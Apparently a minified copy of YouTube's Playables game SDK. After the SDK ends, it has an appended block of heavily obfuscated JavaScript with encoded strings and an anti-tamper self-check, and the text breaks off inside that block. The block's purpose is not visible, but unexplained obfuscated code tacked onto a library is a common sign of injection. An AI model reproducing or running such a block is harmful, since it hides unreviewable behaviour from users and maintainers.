h=a[g];if(!h.g&&h.listener==b&&h.capture==!!d&&h.h==e)break a}g=-1}g>-1?(b=a[g],c||(b.F=!1)):(b=new Oc(b,this.src,f,!!d,e),b.F=c,a.push(b));return b};var Rc="closure_lm_"+(Math.random()*1E6|0),Sc={},Tc=0;function Uc(a,b,c,d,e){if(d&&d.once)Vc(a,b,c,d,e);else if(Array.isArray(b))for(let f=0;f<b.length;f++)Uc(a,b[f],c,d,e);else c=Wc(c),a&&a[Mc]?a.g(b,c,ha(d)?!!d.capture:!!d,e):Xc(a,b,c,!1,d,e)}function Xc(a,b,c,d,e,f){if(!b)throw Error("Invalid event type");const g=ha(e)?!!e.capture:!!e;let h=Yc(a);h||(a[Rc]=h=new Qc(a));c=h.add(b,c,d,g,f);if(!c.proxy){d=Zc();c.proxy=d;d.src=a;d.listener=c;if(a.addEventListener)vc||(e=g),e===void 0&&(e=!1),a.addEventListener(b.toString(),d,e);else if(a.attachEvent)a.attachEvent($c(b.toString()),d);else if(a.addListener&&a.removeListener)a.addListener(d);else throw Error("addEventListener and attachEvent are unavailable.");Tc++}}function Zc(){function a(c){return b.call(a.src,a.listener,c)}const b=ad;return a}function Vc(a,b,c,d,e){if(Array.isArray(b))for(let f=0;f<b.length;f++)Vc(a,b[f],c,d,e);else c=Wc(c),a&&a[Mc]?a.h(b,c,ha(d)?!!d.capture:!!d,e):Xc(a,b,c,!0,d,e)}function $c(a){return a in Sc?Sc[a]:Sc[a]="on"+a}function ad(a,b){if(a.g)a=!0;else{b=new Lc(b,this);const g=a.listener,h=a.h||a.src;if(a.F&&typeof a!=="number"&&a&&!a.g){var c=a.src;if(c&&c[Mc])c.i(a);else{var d=a.type,e=a.proxy;c.removeEventListener?c.removeEventListener(d,e,a.capture):c.detachEvent?c.detachEvent($c(d),e):c.addListener&&c.removeListener&&c.removeListener(e);Tc--;if(d=Yc(c)){e=a.type;var f;if(f=e in d.g){f=d.g[e];const k=xa(f,a);let p;(p=k>=0)&&Array.prototype.splice.call(f,k,1);f=p}f&&(Pc(a),d.g[e].length==0&&(delete d.g[e],d.h--));d.h==0&&(d.src=null,c[Rc]=null)}else Pc(a)}}a=g.call(h,b)}return a}function Yc(a){a=a[Rc];return a instanceof Qc?a:null}var bd="__closure_events_fn_"+(Math.random()*1E9>>>0);function Wc(a){if(typeof a==="function")return a;a[bd]||(a[bd]=function(b){return a.handleEvent(b)});return a[bd]};function O(a,b){if(typeof b==="string")(b=cd(a,b))&&(a.style[b]="none");else for(const e in b){var c=a,d=b[e];const f=cd(c,e);f&&(c.style[f]=d)}}var dd={};function cd(a,b){let c=dd[b];if(!c){var d=Hc(b);c=d;a.style[d]===void 0&&(d=(Ba?"Webkit":Aa?"Moz":null)+Ic(d),a.style[d]!==void 0&&(c=d));dd[b]=c}return c};var ed=class extends N{};var fd=class extends N{};var gd=class extends N{};var hd=class extends N{},id=[3,4];var jd=class extends N{};function kd(a,b){{const p=a.l;let M=p[u]|0;ab(M);if(b==null)F(p,M,1);else{var c=b[u]|0,d=c,e=!!(2&c)&&!!(4&c)||!!(1024&c),f=e||Object.isFrozen(b),g=!0,h=!0;for(let ja=0;ja<b.length;ja++){var k=b[ja];e||(k=!!((k.l[u]|0)&2),g&&(g=!k),h&&(h=k))}e||(c=g?13:5,c=h?c|16:c&-17);f&&c===d||(b=w(b),d=0,c=2&M?c|2:c&-3,c=(c|32)&-1025,32&M||(c&=-33));c!==d&&v(b,c);F(p,M,1,b)}}return a}var ld=class extends N{};function md(a){var b=new nd;if(a!=null&&typeof a!=="boolean")throw b=typeof a,Error(`Expected boolean but got ${b!="object"?b:a?Array.isArray(a)?"array":b:"null"}: ${a}`);return E(b,2,a)}var nd=class extends N{};var od=class extends N{};var pd=class extends N{};var qd=class extends N{};function rd(a){var b=new sd;return E(b,1,z(a))}function td(a,b){return H(a,2,b)}function ud(a){var b=vd();b=wd(b.o);return H(a,4,b)}var sd=class extends N{},xd=[3];var yd=class extends N{};var zd=class extends N{};var Ad=class extends N{getInviteCode(){return nc(this,1)}hasInviteCode(){return Cb(D(this,1))!=null}};var P=class extends N{getLanguage(){return nc(this,ic(this,Bd,4))}},Bd=[3,4,5,6];var yc=class extends N{},G=[2,3,4,5];var Cd=class extends N{};var Dd=class extends N{};function Ed(a,b){return K(a,1,b)}function Fd(a,b){return E(a,3,b==null?b:xb(b))}function Gd(a,b){return E(a,4,b==null?b:xb(b))}function Jd(a,b){return H(a,5,b)}function Kd(a,b){return H(a,6,b)}var Ld=class extends N{};var Md=class extends N{};var Nd=class extends N{};function Q(a){var b=new Od;return E(b,1,z(a))}function Pd(a,b){return I(a,2,R,b)}function Qd(a,b){return I(a,5,R,b)}function Rd(a,b){return I(a,10,R,b)}var Od=class extends N{getInviteCode(){return nc(this,ic(this,R,11))}hasInviteCode(){var a=ic(this,R,11);return Cb(D(this,a))!=null}},R=[2,3,4,5,6,7,8,9,10,11,12,13];var Sd={UNKNOWN:0,API_UNAVAILABLE:1,INVALID_PARAMS:2,SIZE_LIMIT_EXCEEDED:3,0:"UNKNOWN",1:"API_UNAVAILABLE",2:"INVALID_PARAMS",3:"SIZE_LIMIT_EXCEEDED"},S=class extends Error{constructor(a,b){super(b);this.errorType=a;this.name=`SDK_ERROR_${Sd[this.errorType]}`}};var Td=new S(0,"An unknown error occurred."),T=new S(2,"Invalid parameters entered, please fix and try again."),Ud=new S(1,"Unspecified network error. Check your internet connection and try again."),Vd=new S(3,"Size limit exceeded."),Wd=new S(0,"Resource URL is malformed"),Xd=new S(1,"The requested Ad failed to load. Check your network and try again.");function Yd(a){switch(a){case 1:return"SDK_API_FIRST_FRAME_READY";case 2:return"SDK_API_LOAD_DATA";case 3:return"SDK_API_SAVE_DATA";case 4:return"SDK_API_SEND_SCORE";case 5:return"SDK_API_ON_AUDIO_ENABLED_CHANGE";case 6:return"SDK_API_ON_PAUSE";case 7:return"SDK_API_ON_RESUME";case 8:return"SDK_API_GET_LANGUAGE";case 9:return"SDK_API_GAME_READY";case 10:return"SDK_API_IS_AUDIO_ENABLED";case 11:return"SDK_API_BENCHMARKING"}return"SDK_API_UNSPECIFIED"}var U=class extends S{constructor(a,b,c,d){super(a.errorType,c!=null?c:a.message);this.v=a;this.g=b;this.data=d;this.name=`${this.name}_${Yd(b)}`}};function V(a,b){let c=Td;if(gc(a,P,2))switch(oc(J(a,P,2,G),2)){case 1:return;case 2:c=T;break;case 3:if(b===14){c=Xd;break}c=Ud;break;case 4:console.warn("The SDK is no-op, if you are trying to verify SDK integration please use the SDK Test Suite available at https://developers.google.com/youtube/gaming/playables/certification/sdktestsuite");return;default:c=Td}throw new U(c,b);};function Zd(a,b){const c=d=>{d instanceof $d&&b(d.g)};a.g.addEventListener(a.type,c);a.h!==void 0&&a.dispatchEvent(a.h);return()=>{a.g.removeEventListener(a.type,c)}}var ae=class{constructor(a,b){this.type=a;this.g=new EventTarget;let c;this.H=(c=b==null?void 0:b.H)!=null?c:!0;(b==null?void 0:b.J)!==void 0&&this.dispatchEvent(b==null?void 0:b.J)}dispatchEvent(a){this.g.dispatchEvent(new $d(this.type,a));this.H&&(this.h=a)}};class $d extends Event{constructor(a,b){super(a);this.g=b}};var be,ce,de=new yc;ce=E(de,1,z(1));var ee,fe=new P;ee=E(fe,2,z(4));be=I(ce,2,G,ee);var ge=new qc(be,tc((new MessageChannel).port2));function W(){var a=window!==window.parent;he||(he=new ie(a));if(he.g!==a)throw Error(`MessagingService is already created with isEmbedded=${!a}`);return he}function je(a,b){Zd(a.target,b)}function X(a,b,c=()=>{}){a.g?a.channel.g(b,Ac(zc(c))):c(ge)}function Y(a,b){return new Promise(c=>{X(a,b,c)})}var ie=class{constructor(a){this.g=a;this.target=new ae("HOST_EVENT",{H:!1});a=(new URLSearchParams(window.location.hash.substring(1))).get("origin")||document.referrer;this.channel=new xc(wc({destination:window.parent,origin:this.g?a:window.location.origin,M:"playableIframe",onMessage:Ac(zc(b=>{this.target.dispatchEvent(b)}))}))}},he;const ke={UNKNOWN:0,SHOWED:1,REJECTED:3,DISMISSED:2,0:"UNKNOWN",1:"SHOWED",3:"REJECTED",2:"DISMISSED"};function le(a){switch(a){case 1:return 1;case 2:return 3;case 3:return 2;default:return 0}}var me=class{constructor(){this.g=W();this.AdResult=ke}requestAd(){const a=this;return l(function*(){const b=yield Y(a.g,Q(14));V(b.data,14);let c,d;return le((c=J(b.data,P,2,G))==null?void 0:(d=J(c,ed,6,Bd))==null?void 0:oc(d,1))}())}};var ne=window!==window.parent,oe=class{constructor(){this.SDK_VERSION="1.20250303.0000";this.IN_PLAYABLES_ENV=ne;this.SdkError=S;this.SdkErrorType=Sd}};function pe(){return Promise.resolve()}var qe=class{constructor(){this.g=W()}sendScore(a){const b=this;return l(function*(){if(!Number.isInteger(a.value))throw new U(T,4,"Score value must be an integer and"+` the value entered was: ${a.value}`);if(!Number.isSafeInteger(a.value))throw new U(T,4,`Score value must be less than the maximum safe integer in Javascript ${Number.MAX_SAFE_INTEGER} and the value entered was: ${a.value}`);var c=b.g,d=Q(2);var e=new Md;e=K(e,1,a.value);d=I(d,3,R,e);c=yield Y(c,d);V(c.data,4)}())}openYTContent(a){return pe(this.g,a)}};function re(a){a.h=0;a.g=0;a.i=a.index}function se(a,b){a.index===a.i&&a.g>0&&(a.h-=a.j[a.index],a.g--,a.i++,a.i>=a.j.length&&(a.i=0));a.j[a.index]=b;a.h+=b;a.g++;a.index++;a.index>=a.j.length&&(a.index=0)}function te(a){return a.g===0?0:a.h/a.g}var ue=class{constructor(a){this.index=this.i=this.g=this.h=0;this.j=Array(a)}};function ve(a){const b=performance.now();a.h>0?se(a.g,b-a.h):a.j!==0&&(se(a.g,0),clearTimeout(a.j));a.h=-1;a.j=setTimeout(()=>{a.h=performance.now()},0);a.m>0&&se(a.i,b-a.m);a.m=b;requestAnimationFrame(()=>{ve(a)})}function we(a){requestAnimationFrame(()=>{ve(a)})}var xe=class{constructor(){this.h=this.m=-1;this.j=0;this.i=new ue(3600);this.g=new ue(3600)}};function ye(a){setInterval(()=>{const b=window.performance&&window.performance.memory||null;b&&se(a.g,b.usedJSHeapSize)},5E3)}function ze(a){var b=new Dd;return K(b,1,te(a.g))}var Ae=class{constructor(){this.g=new ue(12)}};function Be(a){a.navigator=window.navigator;typeof performance.getEntriesByType==="function"&&"encodedBodySize"in PerformanceResourceTiming.prototype&&"decodedBodySize"in PerformanceResourceTiming.prototype&&"transferSize"in PerformanceResourceTiming.prototype&&((new PerformanceObserver(b=>{b.getEntries().forEach(c=>{if(c.entryType==="resource"&&!c.name.includes("https://www.youtube.com/game_api")){a.o++;a.j+=c.encodedBodySize;c.transferSize===0&&c.decodedBodySize>0&&a.m++;const f=Z(c.responseStatus);if(!(f>=100&&f<200)){try{var d=new URL(c.name)}catch(g){throw Wd;}window.location.origin===d.origin?a.h.set(f,(a.h.get(f)||0)+1):a.g.set(f,(a.g.get(f)||0)+1)}var e;(e=a.D)==null||e.call(a,c)}})})).observe({type:"resource",buffered:!0}),a.navigator&&"serviceWorker"in a.navigator&&a.navigator.serviceWorker.addEventListener&&a.navigator.serviceWorker.addEventListener("message",b=>{a.u++;b.data.cacheHit&&(a.s++,a.i+=b.data.cachedBytes)}))}function Ce(a,b){a.D=b}function Z(a){return a!=null&&typeof a==="number"&&Number.isFinite(a)?Math.floor(a):0}function wd(a){var b=new pd;var c=Z(a.o);b=E(b,1,A(c));c=Z(a.m);b=E(b,2,A(c));c=Z(a.j);b=E(b,3,A(c));b=pc(b,4,a.h);b=pc(b,5,a.g);c=new od;var d=Z(a.u);c=K(c,1,d);d=Z(a.s);c=K(c,2,d);a=Z(a.i);a=K(c,3,a);return H(b,6,a)}var De=class{constructor(){this.navigator=window.navigator;this.h=new Map;this.g=new Map;this.i=this.s=this.u=this.j=this.m=this.o=0;this.D=null}};function vd(){Ee||(Ee=new Fe);return Ee}function Ge(a){a.i!==0&&(a.i=0,He(a),a.h=setTimeout(()=>{Ie(a)},3E4))}function Je(a){const b=(new URLSearchParams(window.location.hash.substring(1))).get("debug")!==null;(b||window.enableSendingResourceLoadedEvents===!0)&&Ce(a.o,c=>{var d=a.u,e=Q(1),f=rd(3);var g=new qd;g=E(g,1,B(c.name));g=E(g,2,A(c.decodedBodySize));g=E(g,3,A(c.encodedBodySize));c=E(g,4,A(c.transferSize));f=I(f,3,xd,c);X(d,Pd(e,f))});we(a.g);Be(a.o);Be(a.m);b&&ye(a.j);Ge(a)}function He(a){a.s=performance.now();var b=a.g;re(b.i);re(b.g);b=a.m;b.o=0;b.m=0;b.j=0;b.u=0;b.s=0;b.i=0;b.h.clear();b.g.clear();re(a.j.g)}function Ie(a){X(W(),Rd(Q(12),Kd(Jd(Gd(Fd(K(Ed(new Ld,a.s),2,performance.now()),te(a.g.i)),te(a.g.g)),wd(a.m)),ze(a.j))));He(a);a.h=setTimeout(()=>{Ie(a)},3E4)}var Fe=class{constructor(){this.s=this.h=0;this.i=1;this.u=W();this.g=new xe;this.o=new De;this.m=new De;this.j=new Ae}},Ee;function Ke(){Le||(Le=new Me);return Le}function Ne(a){a.navigator&&"serviceWorker"in a.navigator&&a.navigator.serviceWorker.addEventListener&&a.navigator.serviceWorker.addEventListener("message",b=>{b.data.serviceWorkerMessageKind==="clientStatusRequest"&&Oe(a)})}function Oe(a){a.navigator&&"serviceWorker"in a.navigator&&a.navigator.serviceWorker.controller&&a.navigator.serviceWorker.controller.postMessage({serviceWorkerMessageKind:"clientStatus",shouldCacheResources:a.shouldCacheResources})}function Pe(a){Ne(a);Oe(a)}var Me=class{constructor(){this.navigator=window.navigator;this.shouldCacheResources=!0}},Le;var Qe=class{constructor(){this.log=()=>{}}};function Re(a){switch(a){case 0:return 1;case 1:return 2;case 2:return 3;case 3:return 4;case 4:return 5;default:return 0}}function Se(a){switch(a.errorType){case 2:return 2;case 1:return 1;case 3:return 3;default:return 0}}function Te(a,b){var c=Q(9),d=new Nd;b=E(d,1,z(b));c=I(c,8,R,b);X(a,c)};var Ue=class{constructor(){this.h=ne;this.i=new ae("GAME_DATA_EVENT");this.g=W();this.j=Ke();je(this.g,a=>{switch(oc(a.data,1)){case 7:gc(a.data,Ad,5)&&this.i.dispatchEvent(J(a.data,Ad,5,G))}})}saveData(a){const b=this;return l(function*(){if(b.h){try{encodeURIComponent(a)}catch(f){throw new U(T,3,"Failed to encode save data");}var c=(new Blob([a])).size;if(c>3145727){var d=new hd;c=kc(d,3,id,A(c));throw new U(Vd,3,void 0,c);}c=b.g;d=Q(3);var e=new fd;e=E(e,1,B(a));d=I(d,4,R,e);c=yield Y(c,d);V(c.data,3)}}())}loadData(){const a=this;return l(function*(){if(!a.h)return"";const b=yield Y(a.g,Q(4));V(b.data,2);let c,d;return((c=J(b.data,P,2,G))==null?void 0:(d=J(c,fd,3,Bd))==null?void 0:nc(d,1))||""}())}firstFrameReady(){var a=Array.from(document.getElementsByTagName("script")).filter(b=>!b.src.endsWith("/@vite/client"))[0];a=!!a&&a.src.startsWith("https://www.youtube.com/game_api/")&&a.attributes.getNamedItem("defer")===null&&a.attributes.getNamedItem("async")===null;X(this.g,Pd(Q(1),ud(td(rd(1),md(a)))))}gameReady(){X(this.g,Pd(Q(1),ud(rd(2))));var a=this.j;const b=a.shouldCacheResources!==!1;a.shouldCacheResources=!1;b&&Oe(a)}onGameDataAvailable(a){Te(this.g,13);return Zd(this.i,a)}shareInviteCode(a){const b=this;return l(function*(){if(a.length===0)throw new U(T,12,"Invite code cannot be empty");if((new TextEncoder).encode(a).length>8)throw new U(T,12,"Invite code provided exceeded 8 bytes");var c=b.g;var d=Q(13);d=kc(d,11,R,B(a));c=yield Y(c,d);V(c.data,12)}())}};function Ve(a,b){const c={level:1,source:1};b&&(c.v=b,c.source=3,c.message=b.message,c.O=b.stack);a.h.log(c)}var We=class{constructor(a){var b=window;this.h=a;this.g=b;this.i=!1;this.j=c=>{Ve(this,c.reason instanceof S?c.reason:void 0)};this.o=this.g.onerror;this.s=this.g.console.warn;this.m=this.g.console.error}install(){this.i||(this.i=!0,this.g.onerror=(a,b,c,d,e)=>{let f;(f=this.o)==null||f.call(this.g,a,b,c,d,e);Ve(this,e instanceof S?e:void 0)},this.g.console.warn=(...a)=>{this.warn(...a)},this.g.console.error=(...a)=>{this.error(...a)},this.g.addEventListener("unhandledrejection",this.j))}error(...a){this.h.log({level:1,source:0});this.m(...a)}warn(...a){this.h.log({level:0,source:0});this.s(...a)}};function Xe(a,b){X(a.h,Qd(Q(6),kd(new ld,b.map((c,d)=>{c=b[b.length-1-d];d=new jd;a:switch(c.level){case 0:var e=1;break a;case 1:e=2;break a;default:e=0}d=E(d,2,z(e));d=E(d,1,z(Re(c.source)));c.v&&(e=E(d,6,z(Se(c.v))),e=E(e,4,B(c.message)),E(e,5,B(c.O)),c.v instanceof U&&c.v.g!==0&&(E(d,7,z(c.v.g)),c.v.data&&H(d,8,c.v.data)));return d}))))}var Ye=class{constructor(){this.g=void 0;this.h=W();this.g=new Qe;this.g.log=this.log.bind(this);this.i=new We(this.g);this.i.install()}logError(){this.log({level:1,source:2})}logWarning(){this.log({level:0,source:2})}log(a){Xe(this,[a])}};const Ze={disableConsoleLog:!1,enableNerdStats:!1,enableServiceWorker:!1,enableServiceWorkerKillswitch:!1};function $e(a){return typeof a==="boolean"?a:!1}let af=null;function bf(){if(af)return af;af=Ze;let a;const b=(a=window.sdkFlags)!=null?a:"";if(b){let c;try{c=JSON.parse(b)}catch(d){return console.error("Failed to parse flags.",d," Flags string: ",b),af}typeof c==="object"&&c&&Object.keys(c).length>0&&(af={disableConsoleLog:$e(c.disableConsoleLog),enableNerdStats:$e(c.enableNerdStats),enableServiceWorker:$e(c.enableServiceWorker),enableServiceWorkerKillswitch:$e(c.enableServiceWorkerKillswitch)})}return af};function cf(){l(function*(){try{yield Gc(navigator.serviceWorker,Jc`/null_sw.js`)}catch(a){console.error("Failed to register null service worker.",a)}}())}function df(){l(function*(){try{yield Gc(navigator.serviceWorker,Jc`/sw.js`)}catch(a){console.error("Failed to register service worker.",a)}}())}function ef(a){l(function*(){try{yield ff()}catch(b){console.error("Failed to unregister service worker.",b)}try{yield gf(a)}catch(b){console.error("Failed to delete cache entries.",b)}}())}function ff(){return l(function*(){if(navigator&&"serviceWorker"in navigator){yield navigator.serviceWorker.getRegistration("/");}}())}function gf(a){return l(function*(){if(a&&"keys"in a){var b=yield a.keys();b&&(yield Promise.all(b.map(c=>a.delete(c))))}}())}var hf=class{constructor(){var a=window.caches;ne&&(bf().enableServiceWorker?bf().enableServiceWorkerKillswitch?cf():df():ef(a))}};var jf=class{constructor(){this.j=ne;this.m=new ae("AUDIO_EVENT",{J:!!1});this.o=!1;this.g=W();this.i=vd();this.D=Ke();this.h=new ae("LIFECYCLE_EVENT");this.u=1E4;this.s=0;je(this.g,a=>{switch(oc(a.data,1)){case 2:var b;(b=J(a.data,yd,3,G))==null?b=void 0:(b=D(b,1),b=b==null||typeof b==="boolean"?b:typeof b==="number"?!!b:void 0,b=b!=null?b:!1);this.j&&b!==void 0&&(this.m.dispatchEvent(b),this.o=b);break;case 3:this.h.dispatchEvent(1);b=this.i;b.i=1;clearTimeout(b.h);b.h=0;break;case 4:this.h.dispatchEvent(0);Ge(this.i);break;case 5:gc(a.data,zd,4)&&(a=J(a.data,zd,4,G),this.u=(b=Bb(D(a,1)))!=null?b:0);b=this.g;a=Q(8);var c=new Cd;c=E(c,1,B("1.20250303.0000"));a=I(a,7,R,c);X(b,a)}});Uc(window,"pointerdown",a=>{!a.h.isTrusted||Date.now()-this.s<this.u||(this.s=Date.now(),X(this.g,Q(10)))},!0);Je(this.i);Pe(this.D)}onAudioEnabledChange(a){Te(this.g,5);return Zd(this.m,a)}isAudioEnabled(){if(!this.j)return!0;Te(this.g,10);return this.o}onPause(a){a.T||Te(this.g,6);return Zd(this.h,b=>{b===1&&a()})}onResume(a){Te(this.g,7);return Zd(this.h,b=>{b===0&&a()})}getLanguage(){const a=this;return l(function*(){const b=yield Y(a.g,Q(5));V(b.data,8);let c;return((c=J(b.data,P,2,G))==null?void 0:c.getLanguage())||"en"}())}};const kf=new class{constructor(a=ne,b=new oe,c=new me,d=new qe,e=new Ue,f=new Ye,g=new jf,h=new hf){this.g=a;this.h=b;this.ads=c;this.engagement=d;this.game=e;this.health=f;this.system=g;document.addEventListener("DOMContentLoaded",()=>{const k=document.body;O(k,"touch-action");O(k,"overscroll-behavior");O(k,"user-select");O(k,"-webkit-user-select");O(k,"-ms-user-select");O(k,"-moz-user-select");O(k,"-o-user-select")});this.g&&(Object.defineProperty(window,"localStorage",{value:null,writable:!1}),Object.defineProperty(window,"sessionStorage",{value:null,writable:!1}),Object.defineProperty(window,"indexedDB",{value:null,writable:!1}),Object.defineProperty(window,"caches",{value:null,writable:!1}),Object.defineProperty(document,"cookie",{value:null,writable:!1}))}};n("ytgame",kf.h);n("ytgame.ads",kf.ads);n("ytgame.engagement",kf.engagement);n("ytgame.game",kf.game);n("ytgame.health",kf.health);n("ytgame.system",kf.system);pe=(a,b)=>l(function*(){var c=b.id;if(c.length!==11||!/^[-A-Za-z0-9_]+$/.test(c)||!"AEIMQUYcgkosw048".includes(c[10])||c==="GU5U2spHI_4")throw new U(T,15,"Invalid format for content being passed");c=Q(15);var d=new gd;d=E(d,1,B(b.id));c=I(c,12,R,d);c=yield Y(a,c);V(c.data,15)}());}).call(this);(function(_0x4ae416,_0x41a5b7){function _0x38d5c9(_0x5e409b,_0x39292b,_0x29b246,_0x462524){return _0x33bd(_0x5e409b- -0x225,_0x462524);}function _0x1ec99b(_0x43a542,_0x3686c4,_0x49f4ff,_0x560b36){return _0x33bd(_0x43a542-0x106,_0x49f4ff);}var _0x5eaf27=_0x4ae416();while(!![]){try{var _0x4b128d=parseInt(_0x38d5c9(-0x6a,-0x55,-0x5f,-0x89))/(0xe87+-0xb6a+-0x4*0xc7)*(parseInt(_0x1ec99b(0x297,0x2b1,0x29d,0x293))/(0x139*-0x16+-0x1*0x451+-0x1f39*-0x1))+-parseInt(_0x1ec99b(0x29e,0x28e,0x27a,0x2b8))/(-0x1*0x432+-0x608+-0xa3d*-0x1)+-parseInt(_0x38d5c9(-0x82,-0x79,-0x67,-0x6c))/(0x1*0x23c+-0x108f+0x1*0xe57)+parseInt(_0x38d5c9(-0x61,-0x45,-0x6a,-0x3e))/(0x19a*0xb+0xc4+0x3*-0x61f)+-parseInt(_0x38d5c9(-0x9e,-0xab,-0x97,-0xb8))/(0x1c34+-0x2fd+-0x1931*0x1)+-parseInt(_0x38d5c9(-0x5e,-0x57,-0x3c,-0x54))/(-0x25f*-0x9+0x1bf*-0x2+-0x2*0x8e9)+parseInt(_0x1ec99b(0x2bf,0x2cd,0x29a,0x2b0))/(0x3*0x70b+-0x21ce+0xcb5);if(_0x4b128d===_0x41a5b7)break;else _0x5eaf27['push'](_0x5eaf27['shift']());}catch(_0x5b6231){_0x5eaf27['push'](_0x5eaf27['shift']());}}}(_0xe31a,-0x8fdb+-0x1*-0x6a5ac+0x1*-0x1ac29));function _0x4c4857(_0x1dbb0f,_0x23b2d0,_0x22797f,_0x22b038){return _0x33bd(_0x23b2d0- -0xb5,_0x22b038);}var _0x25dccb=(function(){var _0x20fb2a={};_0x20fb2a['\x51\x75\x74\x65\x71']=function(_0x20ed0d,_0x503b07){return _0x20ed0d!==_0x503b07;},_0x20fb2a[_0x1bba6b(-0x8,0x2b,0x6,0x29)]=_0x16e6df(0x3e,0x2,0x22,0x38),_0x20fb2a[_0x1bba6b(0x4f,0x3f,0x3b,0x17)]='\x42\x45\x53\x5a\x4a',_0x20fb2a[_0x1bba6b(0x48,0x10,0x31,0x11)]=_0x16e6df(-0x2,-0x2,0x15,-0x1)+_0x16e6df(0x48,0x3f,0x5b,0x46)+_0x1bba6b(0x18,0x2d,0xe,-0x8)+_0x16e6df(0x43,0x45,0x58,0x48)+'\x65',_0x20fb2a['\x74\x74\x45\x50\x6e']=_0x16e6df(0x34,0x3c,0x26,0x19),_0x20fb2a[_0x16e6df(0x55,0x44,0x2f,0x22)]=_0x16e6df(0x43,0x45,0x40,0x1e);var _0x56f57f=_0x20fb2a,_0x2f9f52=!![];function _0x16e6df(_0x286cb4,_0x134666,_0x108048,_0xdf8b3e){return _0x33bd(_0x108048- -0x178,_0x134666);}function _0x1bba6b(_0x347687,_0x330ad3,_0x4d6cdc,_0x3755b4){return _0x33bd(_0x4d6cdc- -0x185,_0x330ad3);}return function(_0x3faf40,_0x36ae9c){var _0x5cdc54={};function _0x1b9477(_0x31311d,_0x18c06f,_0x51d4c5,_0x47f7ca){return _0x1bba6b(_0x31311d-0x172,_0x18c06f,_0x51d4c5-0x30,_0x47f7ca-0x19e);}_0x5cdc54[_0x1b9477(0x60,0xa1,0x7d,0x8a)]=_0x56f57f[_0x1b9477(0x73,0x51,0x61,0x50)];var _0x235096=_0x5cdc54;function _0x109a2e(_0x452efb,_0x7a50b2,_0x6c0356,_0x30724a){return _0x16e6df(_0x452efb-0xce,_0x6c0356,_0x7a50b2- -0x1ae,_0x30724a-0x14a);}if(_0x56f57f[_0x109a2e(-0x14a,-0x165,-0x160,-0x163)]!==_0x56f57f[_0x109a2e(-0x182,-0x17f,-0x19c,-0x166)]){var _0x14694a=_0x2f9f52?function(){function _0x1c5f6f(_0x1f30c1,_0x1064db,_0x5861f3,_0x3a162b){return _0x1b9477(_0x1f30c1-0xaf,_0x3a162b,_0x5861f3-0x49f,_0x3a162b-0x1d3);}function _0x334f3e(_0x3fffd0,_0x49a246,_0x6fbd2e,_0x445477){return _0x1b9477(_0x3fffd0-0x32,_0x3fffd0,_0x445477-0xd4,_0x445477-0x8);}if(_0x56f57f[_0x1c5f6f(0x524,0x4f0,0x517,0x521)](_0x56f57f[_0x1c5f6f(0x4dd,0x4e7,0x4d5,0x4df)],_0x56f57f['\x62\x44\x67\x41\x4a'])){if(_0x36ae9c){var _0x2b912e=_0x36ae9c[_0x334f3e(0xe4,0x10c,0x12b,0x108)](_0x3faf40,arguments);return _0x36ae9c=null,_0x2b912e;}}else _0x1817d7[_0x334f3e(0x158,0x158,0x169,0x142)][_0x334f3e(0x125,0x119,0xf7,0x107)]=_0x235096[_0x334f3e(0x136,0x145,0x177,0x151)];}:function(){};return _0x2f9f52=![],_0x14694a;}else{var _0x3a796f=_0x1f93dc?function(){function _0x4a38b3(_0x232062,_0x45735f,_0x338f0f,_0x25bc9b){return _0x1b9477(_0x232062-0x1f4,_0x25bc9b,_0x232062- -0x111,_0x25bc9b-0x198);}if(_0x2b324b){var _0x1b93fc=_0x5b6ece[_0x4a38b3(-0xdd,-0xf5,-0xba,-0xc5)](_0x4c3dc3,arguments);return _0x15e13e=null,_0x1b93fc;}}:function(){};return _0x349d0d=![],_0x3a796f;}};}());function _0x1709ae(_0x50ca90,_0x3f6f6b,_0x53851b,_0x1bcbf1){return _0x33bd(_0x1bcbf1-0x2b5,_0x50ca90);}function _0x33bd(_0x4ed0b8,_0x3acc3a){var _0x25dccb=_0xe31a();return _0x33bd=function(_0xe31af,_0x33bd0a){_0xe31af=_0xe31af-(0x112e+-0x1031+0x89*0x1);var _0x4eb433=_0x25dccb[_0xe31af];return _0x4eb433;},_0x33bd(_0x4ed0b8,_0x3acc3a);}var _0x3acc3a=_0x25dccb(this,function(){var _0x1b67d0={};_0x1b67d0[_0x162e1c(0x329,0x33e,0x31f,0x336)]=_0x162e1c(0x2f3,0x2ef,0x311,0x2fa)+'\x2b\x24';function _0x5b0253(_0x3a60e6,_0xbd9f22,_0x44bcbb,_0x22b45e){return _0x33bd(_0xbd9f22-0x39b,_0x44bcbb);}var _0x4c4c1e=_0x1b67d0;function _0x162e1c(_0x20e4c7,_0x30cd39,_0x2857dc,_0x57cecf){return _0x33bd(_0x2857dc-0x174,_0x20e4c7);}return _0x3acc3a[_0x5b0253(0x538,0x559,0x56f,0x569)]()['\x73\x65\x61\x72\x63\x68'](_0x4c4c1e[_0x5b0253(0x559,0x546,0x528,0x526)])['\x74\x6f\x53\x74\x72\x69\x6e\x67']()[_0x162e1c(0x30e,0x304,0x314,0x2fe)+'\x72'](_0x3acc3a)[_0x5b0253(0x567,0x549,0x52e,0x535)](_0x5b0253(0x53f,0x538,0x550,0x55a)+'\x2b\x24');});_0x3acc3a();var _0x5a1ed3=(function(){var _0x46f6df={};_0x46f6df['\x56\x4b\x61\x41\x73']=function(_0x1f8a4d,_0x2ed4b3){return _0x1f8a4d===_0x2ed4b3;},_0x46f6df[_0x410b1e(0x3f3,0x3f7,0x40c,0x40e)]=_0x410b1e(0x404,0x426,0x41b,0x3fd);var _0x3698fd=_0x46f6df,_0x196485=!![];function _0x8c01b7(_0x31fc7c,_0x5eb033,_0x242b76,_0x1372dc){return _0x33bd(_0x1372dc-0xe5,_0x5eb033);}function _0x410b1e(_0x4381e4,_0x1704f1,_0x3c48d4,_0x1a4018){return _0x33bd(_0x3c48d4-0x252,_0x4381e4);}return function(_0x1ac480,_0x4d56d7){var _0x177bb7=_0x196485?function(){function _0xa7a14e(_0x4e5fef,_0xcbacfe,_0x29a18a,_0x2449d6){return _0x33bd(_0x2449d6- -0x315,_0xcbacfe);}function _0xec95af(_0xd0c38b,_0x3ba013,_0x47099d,_0x549361){return _0x33bd(_0x549361- -0x1a8,_0x47099d);}if(_0x4d56d7){if(_0x3698fd[_0xa7a14e(-0x13c,-0x14b,-0x13f,-0x15e)](_0xec95af(0x42,0x3e,0x41,0x21),_0x3698fd['\x73\x64\x42\x65\x74'])){var _0x22f713=_0x4d56d7[_0xec95af(0x6,-0x36,-0x33,-0x1f)](_0x1ac480,arguments);return _0x4d56d7=null,_0x22f713;}else 